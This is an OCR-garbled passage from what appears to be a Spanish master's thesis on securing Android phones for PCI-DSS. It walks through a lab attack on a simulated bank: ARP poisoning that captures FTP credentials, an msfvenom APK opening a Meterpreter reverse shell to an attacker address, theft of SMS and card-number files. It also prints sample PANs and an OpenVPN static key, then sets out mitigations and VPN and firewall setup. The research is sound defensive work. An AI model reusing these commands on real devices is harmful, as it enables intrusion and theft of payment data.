vulnerabilidad del tipo ‘spoofing’, aprovechando que el canal de comunicacién no esta

cifrado.

:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIR
ECT --to-por 10000

:~# iptables -t nat -A PREROUTING -p udp --destination-port 123 -j REDI
RECT --to-por 123

:~# iptables -n -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source
REDIRECT  tcp -- 0.0.0.0/0
orts 10000
REDIRECT wudp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:123 redir
ports 123

estination
0.0.0/0 tcp dpt:80 redir p

de
0.

Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source destination

Figura 21 Validacion tablas ip para el ataque

Fuente: Autoria propia

2 FileZilla Server (127.0.0.1) - O
File Server Edit 7

78 BE8 ? /oeE-
(000008)11/09/2016 16:32:02 p.
(00D008)11/09/2016 16:32:14 p.
(000002)11/09/2016 16:32:14 p
IDDDDDE}'I 'I;‘DE!ZD'I 6 15 32 14 p.

- alopez @bancounir com co (192.168.1 50> 226 Transfer OK ~
. - dlopez@bancounir.com.co (152.168.1. 5I}} NOOP

. - glopez@bancounir.com.co (192.168.1.50)= 200 OK
-alnpez@bancounlr Com.co I'IE'Z 168.1. E-I}}‘ TYPEI

. - glopez @bancounir.com.co (192.168.1.50)> 200 Type set to |

IDDDDDE}'I 'I;“DEJ-’ZD'I E 15 32 'IE p. - alopez @bancounir com .co I_'I 52.168.1. E-I}}, TYPEI

(00D00B)11/09/2016 16:32:16 - alopez @bancounir com co (152.168.1.50)= 200 Type set to |

IDDI}I}I}SH 1/09/2016 16:32; 15 p. m. - alopez@bancounir.com.co (192, 158 1. 5I}},- PASY

(000008)11/09/2016 16:32:16 p. m. - alopez @bancounir.com co {192.168.1 50)> 227 Entering Passive Mode (152,168,1,58,26,120)

I,DDI}I}I}SH 1.-'"D5'4'"2D1 § 16:32:16 p. m. - alopez@bancounir.com.co {192. 158 1. 5I}},- F-!ETH /Tarjetas de pago Redferidas/Redfzridos Tarjetas de Pago xd=x
(000008)11/09/2016 16:32:16 p. m. - alopez@bancounir.com.co (192.168.1.50): 150 Connection accepted

(000008)11/09/2016 16:32:16 p -alopez@bancounir.cnm.co ::192.158.1.52:: 225 Transfer QK

IDDI}I}I}SH 1/09/2016 16:32:19 p.
(00000 1/09/7016 16:12-19 5
(0DDD0B8)11/09/2016 16:32:20 p.
WUUUUUS) T U 20 TE 1002200,
directory.
{00D0D08)11/08,/2016 16:32:20 p.
(00D0D08)11/09,2016 16:32:20 p.
(0DDDDE)1 ‘IIDEJ-’ZD‘I 6 16:32:20p.
(00D0D08)11/09,2016 16:32:20 p.

e

(000008)11./05, z..'l‘: 16:32:20p.

- alopez@bancounir.com.co (192.168.1.50)> NOOFP

- almme o S e s i e s (157 108 1 R 200 O K

. - glopez @bancounir com.co {152.168.1.50)= CWD /Tarjetas de pago Rediferidas '

PR (L5 8171 T 00 ) U el T S V) it IV W1 w1 | P = as' iz cument
- alopez@bancounir.com.co (152.168.1.50)= PASV

- glopez @bancounir.com.co (192.168.1.50)> 227 Entering Passive Mode (152,168.1,58,26.121)

- alopez @bancounir com .co |_15'2 168.1. E-I}}‘ MLSD

- glopez @bancounir.com.co (192.168.1.50)> 150 Connection accepted

- alopez @bancounir.com.co (192.16 .1.5..,» 226 Transfer OK

akza é 3 é 3 3 3 é 3 é 33

333313

2K

Figura 22 Servidor FTP

Fuente: Autoria propia
- |
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En la siguiente imagen se evidencia la conexién establecida desde la interfaz del dispositivo

movil.

A A P oo © @, EB 18% 8:56pm

&

1 A~ T e de nanm Rad Tamafio
elemento Actual: /Tarjetas de pago Redif... g5y

@ (Carpeta de nivel
superior]

ISl Rediferidos_Tarjetas de

~ Pago.xlsx

MLSD
I 50 Connection accepted
P26 Transfer OK

Figura 23 Fichero con informacion sensible

Fuente: Autoria propia

Se procede a habilitar en la herramienta ettercap 0.82 el envenenamiento de las tablas ARP,

para iniciar el ataque de hombre en el medio.

MITM Attack: ARP Poisoning @

Optional parameters

%
u ¥ Sniff remote connections.

Only poison one-way.

Cancelar Aceptar

Figura 24 Configuracion sniffer

Fuente: Autoria propia
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Como resultado del ataque se logra obtener en texto claro las credenciales de acceso al
servidor ftp del Banco Unir creado para la prueba de concepto; el cual contiene en su

sistema de ficheros informacion confidencial asociada a clientes de tarjetas de pago.

ettercap 0.8.2 =
Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List ®  Connections ®  Connection data %

192.168.1.50:45281 192.168.1.58:4260

type=dir;modify=20160906013627; Tarjetas d

pago Rediferidas.

Join Views Inject Data Inject File Kill Connection

GROUP 1: 192.168.1.50 98:0C:A5:31:11:41

GROUP 2 : ANY (all the hosts in the list)

TP : 192.168,1.58:21 -> USER: alopez@bancounir.com.co PASS: Unir

Figura 25 Credenciales comprometidas

Fuente: Autoria propia

6.4.2 Control remoto explotando vulnerabilidad con Metasploit

Esta prueba de concepto simula el proceso que realiza un atacante, para llegar a obtener el
control remoto del dispositivo movil por medio del uso de la herramienta metasploit de

rapid7, la cual es ampliamente conocida en el mundo de la seguridad.

En esta fase del experimento se procedera a configurar el framework de metasploit, en el

laboratorio de seguridad informatica en donde se van a realizar las pruebas.
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:~# /etc/init.d/postgresql start
] Starting postgresqgl (via systemctl): postgresql.service.
~# msfdb init

A database appears to be already configured, skipping initialization
:~# msfconsolel]

Figura 26 Configurando framework de metasploit.

Fuente: Autoria propia

La version de metasploit que se va a utilizar, corresponde a uno de los recursos contenidos
en la suite de seguridad kali segunda versién. Esta herramienta cominmente es utilizada
por los investigadores de seguridad debido a las posibilidades y prestaciones que ofrece, es
posible encontrarla en dos versiones free y profesional (version de pago) en el portal

https://www.metasploit.com/.

root@kali: ~ @0 ¢
Archive Editar Ver Buscar Terminal Ayuda

vulnerabilities
o -- Learn mo

Figura 27 Metasploit iniciado

Fuente: Autoria propia

Se procede a ejecutar el comando msfvenom —p con el fin de crear una aplicacion de
Android (apk) maliciosa, que va a generar por medio de un payload una conexién reversa al

servidor de comando y control del atacante.

nsf = msfvenom -p android/mete reverse tcp lhost=192.168.1.54 lport=4466

droidunir.apkli

Figura 28 Creacién apk malicioso

Fuente: Autoria propia
e —
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Se confirma que el apk malicioso fue creado en directorio elegido.

- - A= oot 33 sep 2 16:37| Androidunir.apk

Figura 29 Apk malicioso creado

Fuente: Autoria propia

El fichero esta listo para la descarga e instalacion.

+  Androidunir.apk
oy Moxapk

T AF P
: 8,602 KB

Figura 30 Androidunir.apk malicioso

Fuente: Autoria propia

Se habilita el servidor http para que el apk malicioso pueda ser descargado por la victima.

Figura 31 Servidor a la escucha para la descarga del fichero

Fuente: Autoria propia

Para que la conexién se pueda establecer es necesario utilizar el exploit multihandler, el cual

estara a la espera en el servidor atacante por una peticion de conexion.

use exploit/multi/handler
XPLoIT( ] > Set payload android/meterpreter/reverse tcp

ad => android/meterpreter/reverse tcp
) > show options]}

Figura 32 Exploit que esta a la escucha

Fuente: Autoria propia
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En la siguiente imagen se puede apreciar la aplicacién MainActivity, que se crea posterior a

la descarga e instalacion del apk malicioso.

© Wl GO 12:04pm

2 S

Movistar MainActivity

Teléfono Contactos Mensajes Contenidos

Figura 33 Aplicacién instalada en el dispositivo movil

Fuente: Autoria propia

La configuracién de la carga util (payload), otorga una conexién reversa por el protocolo tcp
en los sistemas operativos Android y permite la utilizaciébn del recurso meterpreter de
Metasploit.

msf exploit( ) > set lhost 192.168.1.54

host => 192.168.1.54

msf exploit( ) > set lport 4466
port => 4466

msf exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.1.54:4466
[*] Starting the payload handler...

Figura 34 Configuracion servidor atacante

Fuente: Autoria propia

Tiempo después de la ejecucion de comando exploit que coloca a la escucha el puerto 4466

al servidor del atacante, se evidencia la creacion de la sesion 5 de meterpreter.
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> [@XPLOLT

Started reverse TCP handler on 192.168.1.54:44¢
Starting the payload handler...
Sending stage (60790 bytes) to 192.168.1.50

Meterpreterisession 5 opened (192.168.1.54:4466 -> 192.168.1.50:35446) at 20
6-09-02 22:48:33 -040U
Sending stage (60790 bytes) to 192.168.1.50

Figura 35 Conexidén establecida

Fuente: Autoria propia

Con el comando sysinfo se obtiene informacién del sistema operativo y version del kernel

del dispositivo comprometido.

: localhost
Android 5.1 - Linux 3.10.65 (armv71)

Meterpreter : java/android

Figura 36 Informacidon del sistema

Fuente: Autoria propia

Getuid provee el ID del usuario con el cual se esta ejecutando la sesion de meterpreter y el

comando check root permite validar si el dispositivo esta rooteado.

meterpreter > getuid
Server username: u@ al30

meterpreter > check root
[+] Device is rooted

meterpreter >

Figura 37 Usuario en el sistema

Fuente: Autoria propia

En la siguiente imagen es posible apreciar algunos de los comandos, para ejecutar las

funcionalidades de meterpreter en un dispositivo mévil comprometido.
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Figura 38 Comandos disponibles

Fuente: Autoria propia

Con el comando shell se obtiene una sesion remota en la cual se pueden ejecutar algunos
comandos de Linux que funcionan en Android, también es posible navegar por los

directorios del dispositivo entre otras utilidades.

6.5 Fase post-explotaciéon de las vulnerabilidades

En la fase siguiente a la explotacion se procediod a realizar las siguientes actividades:

e Descargar en la maquina del atacante los mensajes de texto del dispositivo movil
comprometido.
e Navegar por los directorios del dispositivo movil y descargar informacion confidencial

o de alto valor para la organizacion.

Es posible también usando el micr6fono del dispositivo movil, grabar conversaciones en las

reuniones de alta gerencia.
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meterpreter > shell
FProcess 1 created.
Channel 1 created.
1s

acct

cache

charger
config
custom

d

data
default.prop

Figura 39 Directorios listados en sesion shell

Fuente: Autoria propia

En la siguiente imagen se evidencia que fueron comprometidos 50 mensajes de texto,

almacenados en el dispositivo movil.

192.168.1.50 - Meterpreter session 6 closed. Reason: Died
ump_sms
*]1 Fetchinc
0160502224845 . txt

Figura 40 SMS comprometidos

Fuente: Autoria propia

Para la prueba fue creado el directorio Banco Unir en la tarjeta SD del dispositivo.

cd sdcardl
1s

Alarms
Android

Banco Unir
DCIM
Download

Figura 41 Carpeta con informacion confidencial

Fuente: Autoria propia

Los ficheros Extracto_Banco_Unir.Pdf y Numeros_Tarjeta Clientes_re, suponen tener

informacién confidencial asociada a tarjetas de pago.
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sdcard r 317652 2016-09-04 13:19 Extracto Banco Unir.pdf

-rw-rw---- root sdcard r 469 2016-09-04 13:18 Numeros Tarjeta clientes |
re.txt

Figura 42 Ficheros con informacién confidencial

Fuente: Autoria propia

Se procede a leer con el comando cat en linux el archivo Numeros_Tarjeta_clientes_re.txt,
con 74 datos con numeros de cuentas principales (PAN); el cual corresponde a un fichero de
nameros de tarjeta que le habian enviado al funcionario para hacer seguimiento a los

rediferidos solicitados por los clientes del Banco Unir.

cat Nume I'OS__| arjet a c Lient es re. TXT
VIS
100

495 637566
4637001564666466
4352019594171438
4057692278376745
MASTERCARD
5440909351842697
5468205643507210
5505810682256565
5428558254530987
5553339293850662
5419399007166755
5419884194715908
5519993109877476
54194726464681
5519414564644197

Figura 43 Informacién comprometida

Fuente: Autoria propia

De igual manera es posible realizar la descarga de los ficheros a la maquina atacante, lo
cual garantiza que el actor malicioso va a tener posesion completa de la informacién y se

evidencia total compromiso de la confidencialidad y la integridad de la informacion.

|
Aseguramiento de dispositivos moviles Android para el cumplimiento de la norma (PCI-DSS) Pagina 51



Angel Daniel Lopez Martinez Master Universitario en Seguridad Informéatica

neterpreter > download /storage/sdcardl/Banco Unir

[*] downloading: /storage/sdcardl/Banco_Unir/Numeros Tarjeta clientes re.txt ->
Banco _Unir/Numeros Tarjeta clientes re.txt

[*] download : /storage/sdcardl/Banco_Unir/Numeros Tarjeta clientes re.txt ->

Banco_Unir/Numeros Tarjeta clientes re.txt

[*] downloading: /storage/sdcardl/Banco Unir/Extracto Banco Unir.pdf -> Banco Un
ir/Extracto_Banco_Unir.pdf

[*] download : /storage/sdcardl/Banco_Unir/Extracto Banco_Unir.pdf -> Banco_Un
ir/Extracto Banco Unir.pdf

Figura 44 Robo de informacion

Fuente: Autoria propia

En la siguiente imagen se puede apreciar que los ficheros fueron descargados, de manera

exitosa al servidor atacante.

:~/Banco Uniri# 1s -la

:~/Banco Unir#

Figura 45 Verificacion del éxito del robo

Fuente: Autoria propia

El fichero extracto_bancounir.pdf, correspondiente al cliente Angel Daniel Lépez Martinez y
el numero PAN 4824512003355306 asociado a la tarjeta de pago del ambiente simulado,

fue comprometido.

|
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<= BANCO UNIR ViSA

LOPEZ MARTINEZ AMGEL DAMIEL
CL35 A ND 5-B2

11001 — BOGOTA — COLOMBIA

TARJETA DE CREDITO NUMERD

FECHA DE FACTURACION 15/03/2016
CUPD TOTAL CUPD DISPONIBLE

SE.0DD.DDD

SALDD TOTAL SALDD A SU FAVOR
5350.000

PAGUE HASTA PAGD MINIMO
30,/03/2016 >123.455

CARGDS Y
FECHA DETALLE VALOR COMPRA ABONOS SALDD
UNIR OOMPRAS
02/03/ 2016 | INTERNACIOMALES 53.500.000 5123.435| 23.376.545

Figura 46 Extracto Banco Unir

Fuente: Autoria propia

6.5.1 Resultados de la prueba de concepto fase explotacion y post-

explotacion.

En la siguiente tabla es posible evidenciar los resultados del test de penetracion, realizado

en las fases de explotacion y post-explotacion.

CONVENCIONES Detalle Cuantificaciéon

Valoracién de la complejidad para | Se mide en escala de 0 a 10, siendo:
. realizar el ataque, en términos | 0= Menos complejo
Complejidad porcentuales. 10= Méas complejo

Se mide si se logré explotar la|Se mide en escala de 0 a 10, siendo:

Exito explotacion vulnerabilidad, propuesta en el |0= Menos complejo
ataque, en términos porcentuales. 10= Mas complejo
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Compromiso de la Volumen de informacién confidencial | Se mide en escala de 0 a 10, siendo:
informacién en términos porcentuales. 0= Minimo de informacion
confidencial 10= El total de la informacion

No aplica cuantificar o no tiene N/A
relevancia sobre el atributo.

Tabla 11 Convenciones test de penetracion

Fuente: Autoria propia

%
ATAQUE TECNICA EFECTIVIDAD
DEL ATAQUE

Comprometer SMS (C'v?:ttgglplmt) remoto 1 10 10 95%
Elevacion de privilegios Rooting 3 10 | N/A 70%
Descarga emiglisé?cl)zgén de apk (Clv?:ttg;lploit) remoto ) 10 | N/A 80%
Robo de credenciales (FTP) gt:gitée(wﬂ% hombre en el 2 10 10 90%
Robo de informacién confidencial (Clngtt;z:oloit) remoto 1 10 10 95%
Instalacién apk maliciosa sd card E:l\;)gttéz:oloit) remoto 2 10 N/A 80%
Vulnerabilidad Séeé%zl;right (CVE-2015- RSl N/A 0 N/a 0%

Tabla 12 Resultados test de penetracion

Fuente: Autoria propia

7 Controles

Posterior a la validacion de los resultados de la fases correspondientes al test de
penetracién se procede a verificar las alternativas de mitigacién para las vulnerabilidades
explotadas; dicho esto la primera accion es evaluar la viabilidad de la aplicacion de las
directrices de seguridad de la industria de tarjetas de pago (PCI-DSS) indicadas en los

numerales 1.4 y 4.1 (Industria de tarjetas de pago PCI v 3.0, 2013):
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ID. ‘ Controles Industria de tarjetas de pago (PCI-DSS)

Instale software de firewall personal en todos los dispositivos mdviles o de propiedad de
los trabajadores que tengan conexion a Internet cuando estan fuera de la red (por
ejemplo, computadoras portatiles que usan los trabajadores), y que también se usan para
acceder a la red. Las configuraciones de firewalls incluyen lo siguiente:

Cl-14 . e ) i . .
* Los parametros especificos de configuracion se definen para cada software de firewall
personal.

« El software de firewall personal funciona activamente.

* Los usuarios de dispositivos moviles o de propiedad de los trabajadores no pueden
alterar el software de firewall personal.

Utilice cifrado sélido y protocolos de seguridad (por ejemplo, SSL/TLS, IPSEC, SSH, etc.)

para proteger los datos confidenciales del titular de la tarjeta durante la transmisién por

redes publicas abiertas, como por ejemplo, las siguientes:

C2-4.1 s - :
» Solo se aceptan claves y certificados de confianza.

« El protocolo implementado solo admite configuraciones o versiones seguras.

* La solidez del cifrado es la adecuada para la metodologia de cifrado que se utiliza.

Tabla 13 Controles Industria de tarjetas de pago (PCI-DSS)

Fuente (Industria de Tarjetas de Pago PCl v 3.0, 2013)

Como segunda opcion estan los controles propuestos por el proyecto owasp mobile, estan

compuestos por 12 controles:

ID. ‘ Controles owasp mobile

C1 Identificar y proteger los datos sensibles en el dispositivo movil

Cc2 Proteger credenciales de autenticacion

C3 Garantizar que los datos sensibles estan protegidos durante el transporte

C4 Implementar la autenticacion, autorizacion y gestion de sesiones correctamente

C5 Mantener el “backend de APIs” (servicios) y la plataforma (servidor) seguro

C6 Garantizar la seguridad en la integracion con terceras partes

C7 Prestar especial atencién a la recogida, almacenamiento y uso de los datos del usuario

C8 Implementar controles para proteger los servicios de pago en el dispositivo movil

C9 Garantizar la distribucién segura de aplicaciones méviles y las actualizaciones

C10 Revise cuidadosamente cualquier interpretacion de tiempo de ejecucion de cadigo de
errores

Tabla 14 Controles owasp mobile

Fuente (owasp, 2015)

|
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De acuerdo a la validacién de los controles propuestos por la industria de tarjetas de pago
(PCI) y el proyecto owasp mobile, con el fin de mitigar los riesgos encontrados en la fase de
analisis de vulnerabilidades se recomienda realizar las siguientes actividades y definirlas en

las politicas de aseguramiento de dispositivos moviles Android lollipop v. 5.1 como controles:

e Cifrar canal de comunicacion.

e Configurar reglas de firewall en el dispositivo mavil.
¢ Deshabilitar la instalacion de software y el acceso por USB.
o Deshabilitar la tarjeta SD.

e Forzar usar contrasefas para acceder al dispositivo.
e Forzar a no rehusar las 13 ultimas contrasefias.

e Bloquear el dispositivo después de 30 segundos.

e Instalacion software Antivirus.

e Instalacion solucion MDM.

¢ Cifrar el dispositivo.

o Deshabilitar depuracion USB.

e Deshabilitar instalacion de fuentes desconocidas.

e Deshabilitar usuario ROOT.

e Instalar actualizaciones del fabricante.

e Habilitar registros de auditoria.

7.1 Generacion del documento guia de aseguramiento

Posterior a la identificacion de los controles aplicables a los riesgos identificados, se procede

a generar el documento:

e Guia de aseguramiento de dispositivos moviles Android para el cumplimiento de los

requisitos 1.4 y 4.1 de la industria de tarjetas de pago (PCI-DSS)
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Guia de aseguramiento dispositivos miviles Android para el cumplimiento de los requisitos 1.4y 4.1 dela

industria de tarjetas de pago [PCI-DSS]

Fecha de aseguramiento: 1000952016 Fecha de entrega: 221082016
Mombre del dispositivo: Lenovo Angus a 2010 Funcionario gue recibe: |Jorge Ramid
Imei: BE7530031280132 Area: Gerencia de Tl
Funcionario gque realiza el aseguramiento: |Andgel Daniel Lopez MarinegCargo: Gerente

Clasificacion de actvos: |Si

MO
- RECURSO0S REQUERIDOS (51 (X) |(X)
<> BANCO UNIR Aplicaciones ¥

Correo X

Mensajeria X

Almacenamiento de datosx

Intranet X

Token L

Llaves de descifrado X

CONFIGURACION CONTROLES DE APLICADO JUSTIFICACION EN CASO DE NO APLICAR EL
SEGURIDAD REQUISITOS {(PSI-DSS) CONTROL

C1  |Configurar tilnel cifrado de comunicacion X
Configurar reglas de firewall en el

2 |dispositivo movil ¥
Deshahilitar la instalacion de software v el

L3 |acceso por USB b

C4 |Deshabhilitar la tarjeta SD X
Forzar usar contraseiias para acceder al

C5 |dispositivo X
Forzar a no rehusar las 13 ditimas

L6 |contrasefias X
Bloguear el dispositivo después de 30

L7 |segundos X

C8 |Instalacion software Antivirus S

C9 |Instalacion solucion MDM X

C10 |Cifrar el dispositivo X

C11 |Deshabhilitar depuracion USB b
Deshabhilitar instalacion de fuentes

C12 |desconocidas X

[C13 [Deshabilitar usuario ROOT S

C14 (Instalar actualizaciones del fabricante )

C15 |Habhilitar registros de auditoria ¥

Figura 47 Guia de aseguramiento de dispositivos mdviles Android para el cumplimiento de los requisitos
1.4y 4.1delaindustria de tarjetas de pago (PCI-DSS) Fuente: Autoria propia
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7.2 Implementacion de controles

Siguiendo con los lineamientos definidos en el documento guia de aseguramiento de
dispositivos moviles Android, se procede a la implementacion de los controles seleccionados
como aplicables para las pruebas realizadas, con el objetivo de mitigar los riesgos
identificados y las vulnerabilidades explotadas en el desarrollo del ataque al smartphone.

7.2.1 Cifrar canal de comunicacion

El control propuesto esta dirigido la creacién de un canal de comunicacién cifrado entre el
dispositivo mévil Android y la infraestructura tecnoldgica del entorno financiero, en el cual a
través de un tanel VPN-SSL se va a realizar la comunicaciéon del trafico generado por el

dispositivo movil y la VPS en el Banco Unir.

El servidor privado virtual corresponde a una maquina con sistema operativo kali Linux,
administrado por la organizacion financiera Banco Unir del entorno simulado. Este sistema
fue elegido ya que es totalmente compatible con Open-vpn basado el protocolo SSL/TLS

que posibilita autenticacion y cifrado.

La elecciébn de Open-vpn obedecid principalmente a que cumple con los requerimientos
técnicos exigidos por la industria de tarjetas de pago, para proteger los datos confidenciales

del titular de la tarjeta durante la transmisién por redes publicas abiertas.

FORWARD desde

ACCEPT_ tunnel_unir a eth0

tunnel_urir ACCEPT 80/443/
DROP el resto 53 tunnel_unir

de conexiones DROP de VPS

Tunnel Unir

—~ g~

-
pr ~
\_\ d
.

Figura 48 Esquema canal de comunicacién seguro

Fuente: Autoria propia
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Como se evidencia en la imagen inmediatamente anterior, el trafico que sale del dispositivo
movil Android se trasmite por un canal seguro de comunicacién, el cual garantiza la

confidencialidad e integridad de los datos de titulares de tarjetas de pago.

Para establecer el tunel con openvpn se debe tener instalado en el VPS (servidor privado

virtual) y en el dispositivo movil.

El primer paso es realizar la instalacion de openvpn y openssl, por medio del comando en
linux apt-get install.

~# apt-get install openvpn openssl

Figura 49 Instalacion openvpn y openssl

Fuente: Autoria propia

Seguidamente se debe madificar el fichero vars y se procede a cambiar el valor:

Export_KEY_SIZE=1024 a Export_KEY_SIZE=1024

GNU nano 2.5.1 Fichero: vars

Figura 50 Tamafo del parametro Diffie Hellman

Fuente: Autoria propia

Se deben configurar los datos de la organizacion.

¥ In how many days should the root CA key expire?
export CA_EXPIRE=3650

# In how many days should certificates expire?
export KEY_EXPIRE=3650

These are the default values for fields
¥ which will be placed in the certificate.
Don't leave any of these fields blank.

KEY_COUNTRY="CO"

KEY_PROVINCE="BO"

KEY CITY="boaota"
KEY_ORG="BancoUnir"
KEY_EMAIL="admin@bancounir.com.co"
KEY_ OU="Banco Unir"

Figura 51 Configuracion del certificado

Fuente: Autoria propia
e
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Posteriormente se generan los parametros Diffie Hellman, los cuales seran utilizados para

realizar el intercambio de claves entre el servidor y el cliente de manera segura.

:/etc/openvpn/easy-rsa# ./build-dh
Generating DH parameters, 2048 bit long safe prime, generator 2

This is going to take a long time

Figura 52 Creacion parametros DH

Fuente: Autoria propia

Con el comando. /build-ca se procede a crear el certificado y la clave privada de la autoridad
certificadora para el ambiente de pruebas.

:/etc/openvpn/easy-rsa# ./build-ca
enerating a 2048 bit RSA private key

Figura 53 Creacién del certificado

Fuente: Autoria propia

Se crean los ficheros:

e Ca.crt: Certificado raiz publico de la autoridad certificadora.

e Ca.key: Clave privada de la autoridad de certificacion.

:/etc/openvpn/easy-rsa# cd /etc/openvpn/easy-rsa/key
etc/openvpn/easy~-t *-‘:r"}'.'."j‘w# 1s

ca.key dh2048.pem| index.txt serial

Figura 54 Clave privada y certificado Raiz

Fuente: Autoria propia
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La ejecucion del comando ./build-key-server permite crear la clave privada y el certificado

del servidor.

:/etc/openvpn/easy-rsa# ./build-key-server bancounir
enerating a 2048 bit RSA private key

Figura 55 Creacién clave privada servidor

Fuente: Autoria propia

En medio de la ejecucion del proceso de build-key-server banco unir, se imprimen en
pantalla los valores que se habian modificado en el archivo vars.

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []:unir

An optional company name []:unir

Using configuration from /etc/openvpn/easy-rsa/openssl-1.0.0.cnf
Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

count ryName :PRINTABLE:'CO'

stateOrProvinceName :PRINTABLE: 'BO"

localityName :PRINTABLE: 'bogota'

organizationName :PRINTABLE: 'BancoUnir'
organizationalUnitName:PRINTABLE: 'Banco Unir'

commonhame :PRINTABLE: 'bancounir’

name :PRINTABLE: 'EasyRSA"

emailAddress :IASSTRING: 'admin@bancounir.com.co'
Certificate is to be certified until Sep 4 04:36:46 2026 GMT (3650 days)
Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated

:/etc/openvpn/easy-rsa#

Figura 56 Proceso creacion key server

Fuente: Autoria propia

|
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Se crean los archivos:

e Bancounir.crt: Certificado publico del servidor.
e Bancounir.csr: Peticion de certificado que se envia a la autoridad certificadora.

e Bancounir.key: Clave privada del servidor.

‘etc/openvpn/easy-rsa/keys# 1s
01 .pem bancounir.csr | ca.crt dh2048.pem index.txt.attr serial

bancounir.crt || bancounir.key | ca.key index.txt index.txt.old serial.old

Figura 57 Ficheros creados

Fuente: Autoria propia

Por dltimo se realiza la creacion del certificado y la clave del cliente, por medio de la
ejecucion del comando ./build-key usuariovpn.

:/etc/openvpn/easy-rsa# ./build-key usuariovpn
Generating a 2048 bit RSA private key

Figura 58 Creacién clave privada y certificado usuario

Fuente: Autoria propia

Se crean los archivos:

e Usuariovpn.crt: Certificado publico del cliente.
e Usuariovpn.csr: Peticién de certificado que se envia a la autoridad certificadora.

e Usuariovpn.key: Clave privada del cliente.

:/etc/openvpn/easy-rsa# cd /etc/openvpn/easy-rsa/keys
:/etc/openvpn/easy-rsa/keys# openvpn --genkey --secret ta.key
:/etc/openvpn/easy-rsa/keys# 1s

ca.crt index.txt.attr.old usuariovpn.crt

ca.key index.txt.old usuariovpn.csr
bancounir.crt dh2048.pem serial usuariovpn.key
bancounir.csr index.txt serial .old
bancounir.key index.txt.attr ta.key

Figura 59 Ficheros creados

Fuente: Autoria propia
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Para asegurar el canal de comunicacion usando autenticaciéon TLS se procede a ejecutar el

comando openvpn --genkey --secretta.key; como resultado se obtiene el fichero:

e Takey

:/etc/openvpn/easy-rsa/keys# [cat ta.key

¥ 2048 bit OpenVPN static key

----BEGIN OpenVPN Static key V1

BfeZa%9aZaec3015b1c94bbb722e2ac?21
Pec29dfb87df059ee28d2ee06380a32f
c3a048068d8ba7eec0969db78eb43b66
Bd2b402f20380307d3404086b6e6fd63
B81cc f5a4916665cdd72d41e2345al13b
93237aec119983c36c89d74e36e7c2e
lc19c fab2300e1337a2cSbbbf8d81ba2
c1d8h55637797539630a22a6c0dfebe
h20eb0317a6elbe30b540fef7f7241ee
h5aa448c3ebb54b91 f8549f5e43b8e39
Hdc94634bee3fedb98e7be7e6600397c¢
bbc27528c2%9ae629d865927640f3a808
612379dbcdb3e664cc97b3b999b56739
ba25c85c fa43d36¢c37a35c fb44129b1
| Seedeb7 fdbd4cc64b0f2de5aSh47779e
b9d92bad24eba’ec@8ed47b5aed2118al
----END OpenVPN Static key V1

Figura 60 Clave secreta TLS

Fuente: Autoria propia

En todas las transacciones de SSL/TLS en la fase de handshake entre el servidor y el
cliente, el fichero ta.key posibilita introducir una firma digital HMAC que permite la
autenticacion, protegiendo la integridad utilizando método hash y una clave secreta.

La configuracion del servidor vpn se realiza modificando el archivo server.conf y de igual

manera el cliente se configura realizando la modificacién del fichero client.conf.

‘c/openvpn# Ls

android.sh [client.conf| easy-rsa |server.conf vps.sh

Figura 61 Ficheros de configuracién

Fuente: Autoria propia

|
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En los ficheros client.conf y server.conf se modifican atributos asociados a:

e Protocolo.

e Puertos.

e Direccibn ip.

e Ubicacion de los certificados.

e Clave privada.

e Se activa la autenticacion TLS.

e Algoritmo de cifrado.

Se realiza la configuracién de credenciales de acceso a la interfaz vpn, en caso que el
funcionario pierda el dispositivo mévil, para que la aplicacién cliente solicite un usuario y

contrasefia para la autenticacion.

root@kali: /etc/openvpn (- WO -
Archive Editar Ver Buscar Terminal Ayuda
GNU nano 2.5.1 Fichero: vps.sh Modificado

/sbin/iptables -F

v INPUT -1

A INPUT
A INPUT
L INPUT

- ACCEPT
D,RELATED %

Figura 62 Configuracion ip-tables servidor

Fuente: Autoria propia

Aseguramiento de dispositivos méviles Android para el cumplimiento de la norma (PCI-DSS) Pagina 64



Angel Daniel Lopez Martinez Master Universitario en Seguridad Informatica

7.2.2 Configurar reglas de firewall en el dispositivo movil

Se crea fichero Android.sh para el cual es ejecutado en el dispositivo movil y tiene como
propésito modificar la configuracién de las tablas ip (reglas firewall) del dispositivo movil

Android lollipop version 5.1.

root@kali: /etc/openvpn @0 ¢
Archive Editar Ver Buscar Terminal Ayuda

GNU nano 2.5.1 Fichero: android.sh Modificado
/system/bin/iptables -F

ptables -A OUTPUT

cy INPUT DROP
S icy OUTPUT DROP
5 --policy FORWARD DROP

. -A INPUT -m state --state ESTABLISHED,RELATED -j
-& QUTPUT -m state --state ESTABLISHED,RELATED

. INPUT -1 tun@ -p 6 --
cCINPUT -1 tun@ -p 1 -]

a5 -A QUTPUT 19

tem/bin/iptables -A QUTPUT -o tun@ -j .-'-‘-.'ZIZ'CZEF:'TI

Figura 63 Configuracion ip-tables dispositivo movil

Fuente: Autoria propia

7.2.3 Deshabilitar la instalacion de software y el acceso por USB

Lo primero para realizar el procedimiento es conectarse al dispositivo movil mediante adb
(Android device bridge), en este caso se va a realizar la conexion al dispositivo emulator-
5554.
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E CAWINDOWS\system32\cmd.exe -

slUzerssangeldanielsDezktopradt—bundle—windows—x86—2014A321 ~asdk~\platform—tools >

db devices
izt of devices attached

daemon not running. starting it now on port 5837 =
daemon started successfully =
emulator—5554 device

Figura 64 Emulator-5554 conectado en adb

Fuente: Autoria propia

Con el comando adb Shell se ingresa a una terminal del dispositivo esto con el fin de

ejecutar acciones sobre el mismo.

-1 CANWINDOWS\system32\cmd.exe - adb shell - B

tslUserssange ldanie lsDesktopsadt—bhundle—windows —x86—28148321~sdk~platform—tools >

db =hell
rootlBgeneric:/ #

rootPgeneric:s i
prootlgeneric:/ i
ﬂuotEgeneric:/ i

Figura 65 Shell Android emulator.

Fuente: Autoria propia

Teniendo ya el acceso al dispositivo movil se procede a restringir el acceso mediante USB.

